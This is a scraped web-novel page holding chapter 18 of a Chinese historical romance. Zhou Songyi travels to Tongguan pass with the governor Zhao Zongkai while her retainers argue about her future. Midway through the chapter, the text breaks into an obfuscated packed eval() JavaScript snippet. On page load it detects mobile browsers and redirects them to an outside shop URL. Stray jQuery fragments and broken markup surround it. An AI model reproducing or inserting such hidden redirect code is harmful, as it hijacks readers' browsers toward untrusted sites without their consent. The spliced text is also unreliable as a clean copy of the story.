文趣网 > 其他小说 > 贵妃如此多娇(强取豪夺) > 18. 第十八章
    周颂宜无法摆脱赵宗锴,两人一路同行,从河中首阳山南下虢州一马平川,过了虢州便是汝州,可赵宗锴偏偏往潼关方向去。

    潼关南依巍巍秦岭,北临滔滔黄河,和长安东西相望,从潼关出发,沿着渭河走,不过百余里,却是关中重镇,若潼关失守,长安便直接暴露在危险之中。

    国朝以来,潼关有失,则圣人必弃长安幸蜀,赵宗锴三次叩阙,或经凤翔,或经邠州,这也是他第一次见到这道“关门扼九州”的险关。

    黄河天堑,苍莽秦岭,极目远眺,秋风瑟瑟,烟云密布,暗淡无光,高云拥簇,山河表里,千古潼关,名不虚传!

    “娘子也是第一次来潼关吧?”

    立于秦岭山坡上,赵宗锴问。

    环顾四周,荒凉寂寥,霜白露冷,呜呜的风和着鸟鸣山涧。

    “节帅志于天下,潼关乃长安重镇,自是要多看看。”周颂宜不冷不热的回应。

    潼关自前朝末年纷争时一站成名,此后数百年不断加固扩张,天下第一关,并非浪得虚名。

    对于周颂宜的冷淡赵宗锴不以为然,“潼关有八景,城内的谯楼晚照三景,你我没的福气,此次是看不成了。”

    “黄河春涨时间也不对。”

    赵宗锴有些遗憾,为何时间总是不如人意?想看的风景总等不到?连身边的人也不似当年?

    “秦岭云屏,风陵晓渡等四景我们总会看到的。”赵宗锴指了指脚下的秦岭余脉,“你看那云雾缭绕似屏风处,便是秦岭云屏。”

    虽从赵宗锴的话中得出他也是第一次来潼关,可他却对周围了如指掌,侃侃而谈,仿佛在心中磨练了数千次,潼关四景在他口中大气磅礴、引人入胜,成了天下少有的景象。

    可惜,周颂宜并不喜欢。

    等赵宗锴说完,周颂宜敬佩道:“节帅博闻强记,文采斐然,口才甚佳,妾身佩服,北临黄河、南依秦岭,潼关八景今日见识到了四景,不枉此行!”

    赵宗锴愣了愣,“你不喜欢了吗?”

    周颂宜蹙眉。

    秋风瑟瑟,她迎风而立,一颦一笑尽显倾城之姿,亦如当年城门初见。

    “你之前不是很喜欢潼关八景吗?”赵宗锴怔怔,“我在汝州听说过你,也见过你,彼时我不过是一无名小卒。”

    周颂宜沉默了,片刻后才道:“节帅是代州人,怎么会到汝州来?我不过一未亡人,节帅说笑了。”

    瞥了眼赵宗锴,周颂宜想不到自己有什么值得他算计的?他如今功成名就,竟还做起了莫须有的少时梦?

    “娘子不信?”

    赵宗锴的脸色很淡很淡,看不出喜怒哀乐,声音也很轻。

    眼前仿佛又回到了那年,女郎倚门回首低头笑,罗衣飘飖,轻裾随风。

    周颂宜摇摇头,“节帅说话我自是相信,不过往事如烟,不过些许少年风霜,节帅该忘了。”

    不过是少时风霜吗?赵宗锴深深凝视着周颂宜,可他不想忘记。

    冲锋陷阵,命悬一线之际,求遍漫天佛道,不及她梦中朦胧一笑,身陷囹圄之时,也是她给了希望,赵宗锴不想忘记。

    如果带她看遍少时所愿,万家灯火,乃至天下太平,仍不记得年少时许过的愿,赵宗锴轻笑,不会,她会想起来的!

    孙敬珪和钱仁寿站在林中看着大帅两人百思不得其解,这周娘子竟然有如此魅力,使大帅独自跑到山坡上,那下一步,是要去长安问候圣人吗?

    陆璀死死拉住鹤奴,不让他跑。

    孩童尖锐的啼哭声回荡在空旷明净的山林,这是自懂事一来,鹤奴第一次啼哭。

    “阿娘!阿娘去哪里了?十九叔,我阿娘呢?”鹤奴哭得一把鼻涕一把泪,原本知书达理的形象全毁了。

    陆璀拉住他的手,将他塞往以雅怀里,“小郎君已经四岁了,要比昨天更懂事了,以后对节帅要更尊重些。”

    蹲下身子,陆璀认真道。

    “我不要,我不要!”鹤奴哭喊着,“我姓陆,十九叔,你也姓陆,我们都跟阿耶一样姓陆,我不要他当我阿耶!我有自己的阿耶!”

    陆璀垂下眼眸,掩住淡淡的忧伤。

    “以雅,是谁在小郎君身边说这些的?”

    以南愣了愣,紧张的看向以雅,以雅从容不迫,“我的郎主只有一个,他姓陆,和十九郎君您一样,出自吴郡陆氏。”

    “鹤奴也姓陆,是郎主唯一的血脉,我若不说,娘子在生小郎君、小娘子了,谁还记得如今的小郎君?谁还记得郎主?”

    望向山坡上衣袂飘飘的娘子和那威震北方的雄主,以雅垂头,轻拍小郎君的背,柔声安抚他。

    “你一心想要去灵、夏,去西北,去见识见识晋国公,如今国公在侧,怎么会记得二郎君的嘱咐、三郎君的兄弟情谊?”

    以雅讥讽。

    一路同行,谁都看得出来这位赫赫有名的国公对娘子的垂涎,甚至当众放话——

    这让小郎君日后如何自处?

    陆璀面色不改,“进了汝州,然后呢?”

    “娘子一介女郎,该如何生存?依附耶娘兄弟?”

    “若要小郎君寄人篱下,养成个软弱无能的模样才叫二兄、三兄不满!”陆璀压抑着愤怒,“娘子久在吴郡,平日过节生辰来往,却不见只言片语,六房日子真好过?”

    以雅哑口无言。

    娘子入吴郡数年,起初每月必有信、必有奇珍异宝送来,后面却不声不响,只有娘子送去的份,而娘子大婚,耶娘俱到,十里红妆,这明显是疼爱娘子的,可后来呢?

    这其中定有变故,连这千里的费用也无能为力。

    “老夫人他们是知道的?”以雅不敢信。

    “阿兄和老夫人必知道,时时写信旁敲侧击,你以为娘子不明白?”

    “潼关八景,多得是帝王将相、文人墨客驻足,节帅带娘子来此,分毫不差三兄月下问海棠、诗书唱和。”

    以雅怒目而视,“你果真是狼心狗肺!”

    “大郎君待你如父如兄,事事妥善安排,郎主待你也极好,如今却劝娘子从了那赵宗锴!若郎主在天有灵,定不会放过你!”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623664|206206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    陆璀昂首望天,“若两位阿兄知道,也定会赞成!”

    “天灾人祸,此起彼伏,盗贼如蚁聚,奸雄皆鹰扬,娘子如何生存?”

    “在死亡面前,生存才是第一,这是临行前阿兄特意告诉我的!若三兄真心爱护娘子,自舍不得娘子颠沛流离,为碎银几两奔波一生!”

    “至于小郎君姓什么?节帅怕是都不会要小郎君改姓!”

    陆璀越说越激动,“不过是一养子,待成人,不过些许钱财便可打发!”

    以雅和以南没想到在陆璀心里,小郎君的境遇竟如此不堪,这样子和寄人篱下有什么区别?

    “若你们是真心替三兄考虑,便劝娘子和节帅好好相处,事事柔顺些,待日后生的一儿半女,不光娘子也所依靠,我们和小郎君也能有所依附!”

    言尽于此,陆璀转身就走。

    他父母早亡,全靠阿兄养育教导,虽也姓陆,阿兄虽好,可吴郡陆氏的富贵与他无关,总不过是寄人篱下,没有自己的一方天地。

    鹤奴早慧,与节帅诸子同居一府,若无同胞兄弟姊妹,处境更尴尬。

    毕竟,他不姓赵。

    *

    等周颂宜回到队伍时,鹤奴脸上还带着泪痕,睫毛都是湿漉漉的,扑闪扑闪的大眼睛满满都是委屈。

    “阿娘。”

    即使以雅给他喝了许多水,可哭久了,鹤奴的嗓子还是哑了,听上去分外可怜。

    周颂宜蹲下身子,将他搂在怀里,柔声安抚,“鹤奴怎么了?和阿娘说说?”

    不哄就罢了,一哄,鹤奴的眼泪便似决堤了一般,瞬间从眼眶里流出,他指了指以雅、以南,又指了指陆璀。

    掷地有声道:“阿娘,他们在说话,说了很多很多,以雅姑姑很生气,对十九叔发了脾气。”

    又指着赵宗锴,“我有阿耶,我不要别人的阿耶,阿娘,你不要走!”

    周颂宜神色复杂的看着两个婢女和陆璀,复又低头,认真道:“这是节帅,晋国公,这阿娘不会走,会一直陪着你。”

    赵宗锴俯下身子,注视着未及腰的小儿,“你叫我阿耶?”

    孙敬珪和钱仁寿两人面面相觑不敢笑。

    “不是,你不是我阿耶!我阿耶是天下第一好的阿耶!”稚子尖锐的声音再度响起,让赵宗锴不禁皱眉。

    “你这小儿,想叫?我也不会答应。”

    赵宗锴只是陈述一个事实,鹤奴却被吓了一跳,周颂宜蹙眉。

    “叫我赵二就可以,儿子,我不缺。”

    这句话让周颂宜感觉到了微妙的嫌弃,即使他让鹤奴称呼的很是亲近。

    “节帅说笑了,您年岁长于阿耶父亲,又有国公位,鹤奴和我一样尊称一声节帅即可。”周颂宜不卑不亢道。

    赵宗锴对称呼似乎没什么兴趣,“娘子请随意。”

    周颂宜笑意更淡了。

    摸了摸鹤奴的头,周颂宜想抱他上车舆,却被赵宗锴抢先一步抱走了。

    “娘子弱柳扶风,小儿好不晓事,竟然还要阿娘来抱,羞不羞?”